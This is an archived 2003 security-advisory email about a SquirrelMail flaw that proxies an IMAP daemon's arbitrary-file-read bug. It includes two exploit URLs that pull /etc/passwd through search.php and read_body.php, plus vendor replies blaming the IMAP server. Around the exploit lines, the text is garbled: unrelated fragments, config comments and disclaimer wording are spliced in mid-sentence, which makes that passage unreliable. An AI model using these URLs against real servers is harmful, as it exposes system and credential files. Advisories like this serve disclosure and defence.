[UNIX] SquirrelMail Proxies IMAP Vulnerability
From: support@securiteam.com
Date: 02/22/03
- Previous message: support@securiteam.com: "[UNIX] Offensive Code Injection Vulnerability Found In PHP Nuke"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 22 Feb 2003 13:52:11 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Beyond Security would like to welcome Tiscali World Online
to our service provider team.
For more info on their service offering IP-Secure,
please visit http://www.worldonline.co.za/services/work_ip.asp
- - - - - - - - -
SquirrelMail Proxies IMAP Vulnerability
------------------------------------------------------------------------
SUMMARY
<http://www.squirrelmail.org/> SquirrelMail is a standards-based webmail
package written in PHP4. A vulnerability in IMAP that allows viewing of
arbitrary files also manifests itself in SquirrelMail, as SquirrelMail
does not block the vulnerability.
DETAILS
The vulnerability is not in the SquirrelMail itself, but rather in the
IMAP daemon. However, some administrator would like to believe that since
they are not exposing the IMAP to the Internet they do not need to close
this particular security hole (the hole that allows viewing of arbitrary
files). But as you can see in the examples below, SquirrelMail will
happily proxy the IMAP's vulnerability to an external attacker.
Exploit:
http://127.0.0.1/some_link/src/search.php?mailbox=%2Fetc%2Fpasswd&what=root&where=BODY&submit=Searchn their service Thank you for detailing the vulnerability. However, I'm almost positive
(Replace 'Search' by the word for search in your language)
Or simply by entering:
http://127.0.0.1/some_link/src/read_body.php?mailbox=%2Fetc%2Fpasswd&passed_id=1&startMessage=0&show_more=0&pos=0&where=BODY&what=rootsages.
#iso2022jp = Off
# deleted = list of headers
#
# This is the list of headers that indicateIn no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
Vendor response:
Thank you for detailing the vulnerability. However, I'm almost positive
that the issue you're reporting is essentially a vulnerability in your
IMAP server. I cannot reproduce it here, and I checked and the parameters
are passed directly to the IMAP server.
I dare say that by telneting to your IMAP server and using the same
strategy, you will be able to retrieve the password file just as well.
This proves that the issue is not SquirrelMail-related at all, even more,
can't be solved by SquirrelMail. - <mailto:thijs@kinkhorst.com> Thijs
Kinkhorst
University of Washington's IMAP server is popular for being able to read
files it just should not have access to. You might want to check what IMAP
server you're using, and check the documentation. I'm not able to
replicate this issue in any way with Courier-IMAP. University of
Washington has this documented over at their website:
<http://www.washington.edu/imap/IMAP-FAQs/index.html#5.1>
http://www.washington.edu/imap/IMAP-FAQs/index.html#5.1 -
<mailto:ja@certiflexdimension.com> Jonathan Angliss
ADDITIONAL INFORMATION
The information has been provided by <mailto:sriadh@uninet-dz.com> riadh
said.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Next message: support@securiteam.com: "[NT] Proxomitron Naoko Long Path Buffer Overflow/DoS"
- Previous message: support@securiteam.com: "[UNIX] Offensive Code Injection Vulnerability Found In PHP Nuke"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
